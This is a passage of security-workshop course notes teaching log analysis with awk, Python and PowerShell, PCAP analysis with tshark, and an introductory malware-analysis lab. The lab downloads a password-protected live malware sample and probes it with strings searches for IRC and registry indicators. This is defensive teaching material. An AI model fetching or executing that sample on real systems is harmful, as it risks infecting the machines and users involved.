2180.

2181.

2182. You want to list all user agents ordered by the number of times they appear (descending order):

2183.

2184. `awk -F\" '{print $6}' access_log | sort | uniq -c | sort -fr`

2185.

2186.

2187.

2188. Using the default separator which is any white-space (spaces or tabs) we get the following:

2189.

2190. `awk '{print $1}' access_log # ip address (%h)`

2191. `awk '{print $2}' access_log # RFC 1413 identity (%l)`

2192. `awk '{print $3}' access_log # userid (%u)`

2193. `awk '{print $4,5}' access_log # date/time (%t)`

2194. `awk '{print $9}' access_log # status code (%>s)`

2195. `awk '{print $10}' access_log # size (%b)`

2196.

2197. You might notice that we've missed out some items. To get to them we need to set the delimiter to the " character which changes the way the lines are 'exploded' and allows the following:

2198.

2199. `awk -F\" '{print $2}' access_log # request line (%r)`

2200. `awk -F\" '{print $4}' access_log # referer`

2201. `awk -F\" '{print $6}' access_log # user agent`

2202.  
2203.  
2204. `awk -F\" '{print $6}' access_log \`  
2205. `| sed 's/(\([^;]\+\; \[^;]\+\)[^)]*)/(\1)/' \`  
2206. `| sort | uniq -c | sort -fr`  
2207.  
2208.  
2209. The next step is to start filtering the output so you can narrow down on a certain page or referer. Would you like to know which pages Google has been requesting from your site?  
2210.  
2211. `awk -F\" '($6 ~ /Googlebot/){print $2}' access_log | awk '{print $2}'`  
2212. Or who's been looking at your guestbook?  
2213.  
2214. `awk -F\" '($2 ~ /guestbook\.html/){print $6}' access_log`  
2215.  
2216.  
2217. Reference:  
2218. <https://blog.nexcess.net/2011/01/21/one-liners-for-apache-log-files/>  
2219.  
2220. # top 20 URLs from the last 5000 hits  
2221. `tail -5000 ./access_log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20`  
2222. `tail -5000 ./access_log | awk '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20`  
2223.  
2224. # top 20 URLs excluding POST data from the last 5000 hits  
2225. `tail -5000 ./access_log | awk -F\"[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20`  
2226. `tail -5000 ./access_log | awk -F\"[ ?]" '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20`  
2227.  
2228. # top 20 IPs from the last 5000 hits

```
2229. tail -5000 ./access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
2230. tail -5000 ./access_log | awk '{freq[$1]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
2231.
2232. # top 20 URLs requested from a certain ip from the last 5000 hits
2233. IP=1.2.3.4; tail -5000 ./access_log | grep $IP | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
2234. IP=1.2.3.4; tail -5000 ./access_log | awk -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn |
head -20
2235.
2236. # top 20 URLs requested from a certain ip excluding, excluding POST data, from the last 5000 hits
2237. IP=1.2.3.4; tail -5000 ./access_log | fgrep $IP | awk -F "[?]" '{print $7}' | sort | uniq -c | sort -rn | head -20
2238. IP=1.2.3.4; tail -5000 ./access_log | awk -F"[?]" -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort
-rn | head -20
2239.
2240. # top 20 referrers from the last 5000 hits
2241. tail -5000 ./access_log | awk '{print $11}' | tr -d '"' | sort | uniq -c | sort -rn | head -20
2242. tail -5000 ./access_log | awk '{freq[$11]++} END {for (x in freq) {print freq[x], x}}' | tr -d '"' | sort -rn | head -20
2243.
2244. # top 20 user agents from the last 5000 hits
2245. tail -5000 ./access_log | cut -d\ -f12- | sort | uniq -c | sort -rn | head -20
2246.
2247. # sum of data (in MB) transferred in the last 5000 hits
2248. tail -5000 ./access_log | awk '{sum+=$10} END {print sum/1048576}'
2249.
2250.
2251. #####
2252. # Cisco Logs #
2253. #####
2254.
```

2255. `wget https://s3.amazonaws.com/StrategicSec-Files/LogAnalysis/cisco.log`

2256.

2257.

2258. **AWK Basics**

2259. -----

2260. To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print \$5. Only the last 4 lines are being shown for brevity.

2261.

2262. `cat cisco.log | awk '{print $5}' | tail -n 4`

2263.

2264.

2265.

2266.

2267. Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in "\$5", group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through "sort", using "uniq -c" to count the like entries, then using "sort -rn" to sort it in reverse order.

2268.

2269. `cat cisco.log | awk '{print $5}' | sort | uniq -c | sort -rn`

2270.

2271.

2272.

2273.

2274. While that's sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren't conforming to the output we expect to see in \$5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain "facility-level-mnemonic".

2275.

2276. `cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn`

2277.

2278.  
2279.  
2280.  
2281.  
2282. Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.  
2283.  
2284. `cat cisco.log | grep %LINEPROTO-5-UPDOWN:`  
2285.  
2286. `cat cisco.log | grep %LINEPROTO-5-UPDOWN: | awk '{print $10}' | sort | uniq -c | sort -rn`  
2287.  
2288. `cat cisco.log | grep %LINEPROTO-5-UPDOWN: | sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn`  
2289.  
2290. `cat cisco.log | grep %LINEPROTO-5-UPDOWN: | sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn`  
2291.  
2292.  
2293.  
2294.  
2295. #####  
2296. # Using Python for log analysis #  
2297. #####  
2298.  
2299.  
2300.  
2301.  
2302. #####  
2303. # Python Basics Lesson 1: Simple Printing #  
2304. #####

```
2305.
2306. >>> print 1
2307.
2308. >>> print hello
2309.
2310. >>> print "hello"
2311.
2312. >>> print "Today we are learning Python."
2313.
2314.
2315.
2316. #####
2317. # Python Basics Lesson 2: Simple Numbers and Math #
2318. #####
2319.
2320. >>> 2+2
2321.
2322. >>> 6-3
2323.
2324. >>> 18/7
2325.
2326. >>> 18.0/7
2327.
2328. >>> 18.0/7.0
2329.
2330. >>> 18/7
2331.
2332. >>> 9%4
```

```
2333.
2334. >>> 8%4
2335.
2336. >>> 8.75%.5
2337.
2338. >>> 6.*7
2339.
2340. >>> 6*6*6
2341.
2342. >>> 6**3
2343.
2344. >>> 5**12
2345.
2346. >>> -5**4
2347.
2348.
2349.
2350.
2351.
2352.
2353. #####
2354. # Python Basics Lesson 3: Variables #
2355. #####
2356.
2357. >>> x=18
2358.
2359. >>> x+15
2360.
```

```
2361. >>> x**3
2362.
2363. >>> y=54
2364.
2365. >>> x+y
2366.
2367. >>> age=input("Enter number here: ")
2368. 43
2369.
2370. >>> age+32
2371.
2372. >>> age**3
2373.
2374. >>> fname = raw_input("Enter your first name: ")
2375.
2376. >>> lname = raw_input("Enter your first name: ")
2377.
2378. >>> fname = raw_input("Enter your name: ")
2379. Enter your name: Joe
2380.
2381. >>> lname = raw_input("Enter your name: ")
2382. Enter your name: McCray
2383.
2384. >>> print fname
2385. Joe
2386.
2387. >>> print lname
2388. McCray
```



```
2389.
2390. >>> print fname lname
2391.
2392. >>> print fname+lname
2393. JoeMcCray
2394.
2395.
2396.
2397. NOTE:
2398. Use "input()" for integers and expressions, and use raw_input() when you are dealing with strings.
2399.
2400.
2401.
2402.
2403.
2404. #####
2405. # Python Basics Lesson 4: Modules and Functions #
2406. #####
2407.
2408. >>> 5**4
2409.
2410. >>> pow(5,4)
2411.
2412. >>> abs(-18)
2413.
2414. >>> abs(5)
2415.
2416. >>> floor(18.7)
```

```
2417.
2418. >>> import math
2419.
2420. >>> math.floor(18.7)
2421.
2422. >>> math.sqrt(81)
2423.
2424. >>> joe = math.sqrt
2425.
2426. >>> joe(9)
2427.
2428. >>> joe=math.floor
2429.
2430. >>> joe(19.8)
2431.
2432.
2433.
2434.
2435.
2436.
2437.
2438.
2439.
2440. #####
2441. # Python Basics Lesson 5: Strings #
2442. #####
2443.
2444. >>> "XSS"
```

```
2445.
2446. >>> 'SQLi'
2447.
2448. >>> "Joe's a python lover"
2449.
2450. >>> 'Joe\'s a python lover'
2451.
2452. >>> "Joe said \"InfoSec is fun\" to me"
2453.
2454. >>> a = "Joe"
2455.
2456. >>> b = "McCray"
2457.
2458. >>> a, b
2459.
2460. >>> a+b
2461.
2462.
2463.
2464.
2465.
2466.
2467.
2468.
2469. #####
2470. # Python Basics Lesson 6: More Strings #
2471. #####
2472.
```

```
2473. >>> num = 10
2474.
2475. >>> num + 2
2476.
2477. >>> "The number of open ports found on this system is " + num
2478.
2479. >>> num = str(18)
2480.
2481. >>> "There are " + num + " vulnerabilities found in this environment."
2482.
2483. >>> num2 = 46
2484.
2485. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
2486.
2487.
2488.
2489. NOTE:
2490. Use "input()" for integers and expressions, and use raw_input() when you are dealing with strings.
2491.
2492.
2493.
2494.
2495.
2496.
2497.
2498. #####
2499. # Python Basics Lesson 7: Sequences and Lists #
2500. #####
```

```
2501.
2502. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
2503.
2504. >>> attacks
2505. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
2506.
2507. >>> attacks[3]
2508. 'SQL Injection'
2509.
2510. >>> attacks[-2]
2511. 'Cross-Site Scripting'
2512.
2513.
2514.
2515.
2516.
2517.
2518. #####
2519. # Python Basics Level 8: If Statement #
2520. #####
2521. >>> attack="SQLI"
2522. >>> if attack=="SQLI":
2523. print 'The attacker is using SQLI'
2524.
2525. >>> attack="XSS"
2526. >>> if attack=="SQLI":
2527. print 'The attacker is using SQLI'
2528.
```

```
2529.
2530. #####
2531. # Reference Videos To Watch #
2532. #####
2533. Here is your first set of youtube videos that I'd like for you to watch:
2534. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
2535.
2536.
2537.
2538.
2539.
2540. #####
2541. # Lesson 9: Intro to Log Analysis #
2542. #####
2543.
2544. Login to your StrategicSec Ubuntu machine. You can download the VM from the following link:
2545.
2546. https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-Ubuntu-VPN-163.zip
2547. username: strategicsec
2548. password: strategicsec
2549.
2550. Then execute the following commands:
2551. -----
2552.
2553.
2554. wget https://s3.amazonaws.com/SecureNinja/Python/access_log
2555.
2556.
```

```
2557. cat access_log | grep 141.101.80.188
2558.
2559. cat access_log | grep 141.101.80.187
2560.
2561. cat access_log | grep 108.162.216.204
2562.
2563. cat access_log | grep 173.245.53.160
2564.
2565. -----
2566.
2567. Google the following terms:
2568. - Python read file
2569. - Python read line
2570. - Python read from file
2571.
2572.
2573.
2574.
2575. #####
2576. # Lesson 10: Use Python to read in a file line by line #
2577. #####
2578.
2579.
2580. Reference:
2581. http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
2582.
2583.
2584.
```

```
2585.
2586.
2587.
2588. Let's have some fun.....
2589.
2590.
2591. >>> f = open('access_log', "r")
2592.
2593. >>> lines = f.readlines()
2594.
2595. >>> print lines
2596.
2597. >>> lines[0]
2598.
2599. >>> lines[10]
2600.
2601. >>> lines[50]
2602.
2603. >>> lines[1000]
2604.
2605. >>> lines[5000]
2606.
2607. >>> lines[10000]
2608.
2609. >>> print len(lines)
2610.
2611.
2612.
```



```
2613.
2614.
2615.
2616.
2617.
2618.
2619. -----
2620. vi logread1.py
2621.
2622.
2623. ## Open the file with read only permit
2624. f = open('access_log', "r")
2625.
2626. ## use readlines to read all lines in the file
2627. ## The variable "lines" is a list containing all lines
2628. lines = f.readlines()
2629.
2630. print lines
2631.
2632.
2633. ## close the file after reading the lines.
2634. f.close()
2635.
2636. -----
2637.
2638.
2639. Google the following:
2640. - python difference between readlines and readline
```

```
2641. - python readlines and readline
2642.
2643.
2644.
2645.
2646.
2647. #####
2648. # Lesson 11: A quick challenge #
2649. #####
2650.
2651. Can you write an if/then statement that looks for this IP and print "Found it"?
2652.
2653.
2654. 141.101.81.187
2655.
2656.
2657.
2658.
2659.
2660.
2661. -----
2662. Hint 1: Use Python to look for a value in a list
2663.
2664. Reference:
2665. http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
2666.
2667.
2668.
```

```
2669.
2670. -----
2671. Hint 2: Use Python to prompt for user input
2672.
2673. Reference:
2674. http://www.cyberciti.biz/faq/python-raw_input-examples/
2675.
2676.
2677.
2678.
2679. -----
2680. Hint 3: Use Python to search for a string in a list
2681.
2682. Reference:
2683. http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
2684.
2685.
2686.
2687.
2688.
2689. Here is my solution:
2690. -----
2691. $ python
2692. >>> f = open('access_log', "r")
2693. >>> lines = f.readlines()
2694. >>> ip = '141.101.81.187'
2695. >>> for string in lines:
2696. ... if ip in string:
```

```
2697. ... print(string)
2698.
2699.
2700.
2701.
2702. Here is one student's solution - can you please explain each line of this code to me?
2703. -----
2704. #!/usr/bin/python
2705.
2706. f = open('access_log')
2707.
2708. strUsrinput = raw_input("Enter IP Address: ")
2709.
2710. for line in iter(f):
2711. ip = line.split(" - ")[0]
2712. if ip == strUsrinput:
2713. print line
2714.
2715. f.close()
2716.
2717.
2718.
2719.
2720. -----
2721.
2722. Working with another student after class we came up with another solution:
2723.
2724. #!/usr/bin/env python
```

```
2725.
2726.
2727. # This line opens the log file
2728. f=open('access_log','r')
2729.
2730. # This line takes each line in the log file and stores it as an element in the list
2731. lines = f.readlines()
2732.
2733.
2734. # This lines stores the IP that the user types as a var called userinput
2735. userinput = raw_input("Enter the IP you want to search for: ")
2736.
2737.
2738.
2739. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
2740. for ip in lines:
2741. if ip.find(userinput) != -1:
2742. print ip
2743.
2744.
2745.
2746. #####
2747. # Lesson 12: Look for web attacks in a log file #
2748. #####
2749.
2750. In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your
web server log.
2751. Supported attacks:
```

```
2752. 1. SQL Injection
2753. 2. Local File Inclusion
2754. 3. Remote File Inclusion
2755. 4. Cross-Site Scripting
2756.
2757.
2758.
2759. wget https://s3.amazonaws.com/SecureNinja/Python/scan_log.py
2760.
2761. The usage for scan_log.py is simple. You feed it an apache log file.
2762.
2763. cat scan_log.py | less (use your up/down arrow keys to look through the file)
2764.
2765.
2766.
2767.
2768.
2769. #####
2770. # Log Analysis with Powershell #
2771. #####
2772.
2773. VM for these labs
2774. -----
2775. https://s3.amazonaws.com/StrategicSec-VMs/Win7x64.zip
2776. username: workshop
2777. password: password
2778.
2779.
```

2780. You can do the updates in the Win7 VM (yes, it is a lot of updates).

2781.

2782. You'll need to create directory in the Win7 VM called "c:\ps"

2783.

2784. #####

2785. # Powershell Basics #

2786. #####

2787.

2788. PowerShell is Microsoft's new scripting language that has been built in since the release Vista.

2789.

2790. PowerShell file extension end in .ps1 .

2791.

2792. An important note is that you cannot double click on a PowerShell script to execute it.

2793.

2794. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.

2795.

2796. dir

2797. cd

2798. ls

2799. cd c:\

2800.

2801.

2802. To obtain a list of cmdlets, use the Get-Command cmdlet

2803.

2804. Get-Command

2805.

2806.

2807.

2808. You can use the Get-Alias cmdlet to see a full list of aliased commands.

2809.

2810. Get-Alias

2811.

2812.

2813.

2814. Don't worry you won't blow up your machine with Powershell

2815. Get-Process | stop-process What will this command do?

2816. Get-Process | stop-process -whatif

2817.

2818.

2819. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.

2820.

2821. Get-Help Get-Command

2822.

2823. Get-Help Get-Service -online

2824.

2825. Get-Service -Name TermService, Spooler

2826.

2827. Get-Service -N BITS

2828.

2829. Start-Transcript

2830.

2831. PowerShell variables begin with the \$ symbol. First lets create a variable

2832.

2833. \$serv = Get-Service -N Spooler

2834.



```
2835. To see the value of a variable you can just call it in the terminal.
2836.
2837. $serv
2838.
2839. $serv.gettype().fullname
2840.
2841.
2842. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the
 object to Get-Member or pass it in
2843.
2844. $serv | Get-Member
2845.
2846. Get-Member -InputObject $serv
2847.
2848.
2849.
2850.
2851.
2852. Let's use a method and a property with our object.
2853.
2854. $serv.Status
2855. $serv.Stop()
2856. $serv.Refresh()
2857. $serv.Status
2858. $serv.Start()
2859. $serv.Refresh()
2860. $serv.Status
2861.
```

2862.  
2863.  
2864.  
2865. Methods can return properties and properties can have sub properties. You can chain them together by appending them to the first call.  
2866.  
2867.  
2868.  
2869. #####  
2870. # Simple Event Log Analysis #  
2871. #####  
2872.  
2873. Step 1: Dump the event logs  
2874. -----  
2875. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.  
2876.  
2877. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.  
2878. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.  
2879.  
2880. Get-EventLog -LogName application | Export-Clixml Applog.xml  
2881.  
2882. type .\Applog.xml  
2883.  
2884. \$logs = "system","application","security"  
2885.  
2886. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console

2887.

2888. `$logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }`

2889.

2890.

2891.

2892. Step 2: Import the event log of interest

2893. -----

2894. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.

2895. Store the results in a variable.

2896. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.

2897.

2898. The following two commands first read the exported security log contents into a variable named \$seclog, and then the five oldest entries are obtained.

2899.

2900. `$seclog = Import-Clixml security.xml`

2901.

2902. `$seclog | select -Last 5`

2903.

2904.

2905. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:

2906.

2907. `Get-EventLog Application -After (Get-Date).AddDays(-1)`

2908.

2909. You can use '-after' and '-before' to filter date ranges

2910.

2911. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NTFS and share permissions that are assigned to the location where you store everything.

2912. By default, an ordinary user does not have permission to read the security log.

2913.  
2914.  
2915. Step 3: Drill into a specific entry  
2916. -----  
2917. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.  
2918.  
2919.  
2920. \$seclog | select -first 1 | fl \*  
2921.  
2922. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.  
2923.  
2924.  
2925. (\$seclog | select -first 1).message  
2926.  
2927. ((\$seclog | select -first 1).message).gettype()  
2928.  
2929.  
2930.  
2931. In the \*nix world you often want a count of something (wc -l).  
2932. How often is the SeSecurityPrivilege privilege mentioned in the message property?  
2933. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:  
2934.  
2935. \$seclog | ? { \$\_.message -match 'SeSecurityPrivilege'} | measure  
2936.  
2937. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.

2938.  
2939.  
2940. \$seclog | ? { \$\_.message -match 'SeSecurityPrivilege'} | group eventid  
2941.  
2942. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.  
2943. Use the count property to determine the total number of entries in the event log.  
2944.  
2945. \$seclog.Count  
2946.  
2947.  
2948.  
2949.  
2950.  
2951.  
2952. #####  
2953. # Simple Log File Analysis #  
2954. #####  
2955.  
2956.  
2957. You'll need to create the directory c:\ps and download sample iss log <http://pastebin.com/raw.php?i=LBn64cyA>  
2958.  
2959.  
2960. mkdir c:\ps  
2961. cd c:\ps  
2962. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u\_ex1104.log")  
2963.  
2964.

2965.  
2966.  
2967.  
2968.  
2969.  
2970.  
2971. #####  
2972. # Intrusion Analysis Using Windows PowerShell #  
2973. #####  
2974.  
2975. Download sample file <http://pastebin.com/raw.php?i=ysnhXxTV> into the c:\ps directory  
2976.  
2977.  
2978.  
2979.  
2980.  
2981. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")  
2982.  
2983. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt  
2984.  
2985.  
2986.  
2987.  
2988. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.  
2989.  
2990. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line  
2991.

2992.  
2993.  
2994.  
2995. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.  
2996.  
2997. `Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object`  
2998.  
2999.  
3000.  
3001. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.  
3002.  
3003. `Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object`  
3004.  
3005.  
3006.  
3007. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.  
3008.  
3009. `Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique`  
3010.  
3011.  
3012. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count -des.  
3013. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.

3014.

3015. `Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des`

3016.

3017.

3018.

3019.

3020. This will get the setting for logs in the windows firewall which should be enabled in GPO policy for analysis.

3021. The command shows that the Firewall log is at:

3022. %systemroot%\system32\LogFiles\Firewall\pfirewall.log, in order to open the file PowerShell will need to be run with administrative privileges.

3023.

3024.

3025. First step is to get the above command into a variable using script logic.

3026. Thankfully PowerShell has a built-in integrated scripting environment, PowerShell.ise.

3027.

3028. `netsh advfirewall show allprofiles | Select-String FileName | select -ExpandProperty line | Select-String "%systemroot%.+\.log" | select -ExpandProperty matches | select -ExpandProperty value | sort -uniq`

3029.

3030.

3031. #####

3032. # Parsing Log files using windows PowerShell #

3033. #####

3034.

3035. Download the sample IIS log <http://pastebin.com/LBn64cyA>

3036.

3037.

3038. `(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")`



3039.

3040. `Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}`

3041.

3042.

3043.

3044. The above command would give us all the WebDAV requests.

3045.

3046. To filter this to a particular user name, use the below command:

3047.

3048. `Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}`

3049.

3050.

3051.

3052. Some more options that will be more commonly required :

3053.

3054. For Outlook Web Access : Replace WebDAV with OWA

3055.

3056. For EAS : Replace WebDAV with Microsoft-server-activesync

3057.

3058. For ECP : Replace WebDAV with ECP

3059.

3060.

3061.

3062. To find out the count of the EWS request we can go ahead and run the below command

3063.

3064. `(Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "Useralias")}).count`

3065.

3066.

```
3067.
3068. #####
3069. # Day 2: PCAP Analysis #
3070. #####
3071. #####
3072. # PCAP Analysis #
3073. #####
3074. cd /home/malware/Desktop/Browser\ Forensics
3075.
3076. ls | grep pcap
3077.
3078. perl chaosreader.pl suspicious-time.pcap
3079.
3080. firefox index.html
3081.
3082. cat index.text | grep -v '"' | grep -oE "([0-9]+\.{3}[0-9]+.*\\)"
3083.
3084. cat index.text | grep -v '"' | grep -oE "([0-9]+\.{3}[0-9]+.*\\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
3085.
3086. sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs
3087.
3088.
3089. for i in session_00[0-9]*.www.html; do srcip=`cat "$i" | grep 'www:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep
 'www:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip -->
 $dstip = $host"; done | sort -u
3090.
3091.
3092.
```

```
3093.
3094.
3095. #####
3096. # PCAP Analysis with tshark #
3097. #####
3098. tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
3099.
3100.
3101. tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
3102.
3103.
3104. tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'
3105.
3106.
3107. tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq
3108.
3109.
3110. tshark -r suspicious-time.pcap -R "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq
3111.
3112. tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq
3113.
3114. tshark -r suspicious-time.pcap -qz ip_hosts,tree
3115.
3116. tshark -r suspicious-time.pcap -R "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
3117.
3118. tshark -r suspicious-time.pcap -R "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
3119.
3120.
```

```
3121. whois rapidshare.com.eyu32.ru
3122.
3123. whois sploitme.com.cn
3124.
3125.
3126. tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," ->
"$2, "\t: ", "http://" $3$4}'
3127.
3128. tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," ->
"$2, "\t: ", "http://" $3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
3129.
3130. tshark -r suspicious-time.pcap -qz http_req,tree
3131.
3132. tshark -r suspicious-time.pcap -R "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
3133.
3134. tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," ->
"$2, "\t: ", "http://" $3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\\.\\.\\.g'
3135.
3136.
3137.
3138. #####
3139. # PCAP Analysis with forensicPCAP.py #
3140. #####
3141. cd ~/Desktop
3142. wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
3143. sudo easy_install cmd2
3144.
3145. python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
```

3146.  
3147. ForPCAP >>> help  
3148.  
3149.  
3150. Prints stats about PCAP  
3151. ForPCAP >>> stat  
3152.  
3153.  
3154. Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.  
3155. ForPCAP >>> dns  
3156.  
3157. ForPCAP >>> show  
3158.  
3159.  
3160. Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.  
3161. ForPCAP >>> dstports  
3162.  
3163. ForPCAP >>> show  
3164.  
3165.  
3166. Prints the number of ip source and store them.  
3167. ForPCAP >>> ipsrc  
3168.  
3169.  
3170. Prints the number of web's requests and store them  
3171. ForPCAP >>> web  
3172.  
3173.

```
3174. Prints the number of mail's requests and store them
3175. ForPCAP >>> mail
3176.
3177.
3178.
3179.
3180.
3181. #####
3182. # Day 3: Malware Analysis #
3183. #####
3184.
3185.
3186. #####
3187. # Download the Analysis VM #
3188. #####
3189. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
3190. user: malware
3191. pass: malware
3192.
3193.
3194. - Log in to your Ubuntu system with the username 'malware' and the password 'malware'.
3195.
3196. - After logging please open a terminal window and type the following commands:
3197.
3198. cd Desktop/
3199.
3200.
3201. - This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected':
```

```
3202.
3203. wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip
3204. wget https://s3.amazonaws.com/StrategicSec-Files/analyse_malware.py
3205.
3206. unzip malware-password-is-infected.zip
3207. infected
3208.
3209. file malware.exe
3210.
3211. mv malware.exe malware.pdf
3212.
3213. file malware.pdf
3214.
3215. mv malware.pdf malware.exe
3216.
3217. hexdump -n 2 -C malware.exe
3218.
3219. ***What is '4d 5a' or 'MZ'***
3220. Reference:
3221. http://www.garykessler.net/library/file_sigs.html
3222.
3223.
3224. objdump -x malware.exe
3225.
3226. strings malware.exe
3227.
3228. strings --all malware.exe | head -n 6
3229.
```

```
3230. strings malware.exe | grep -i dll
3231.
3232. strings malware.exe | grep -i library
3233.
3234. strings malware.exe | grep -i reg
3235.
3236. strings malware.exe | grep -i hkey
3237.
3238. strings malware.exe | grep -i hku
3239.
3240. - We didn't see anything like HKLM, HKCU or other registry type stuff
3241.
3242. strings malware.exe | grep -i irc
3243.
3244. strings malware.exe | grep -i join
3245.
3246. strings malware.exe | grep -i admin
3247.
3248. strings malware.exe | grep -i list
3249.
3250.
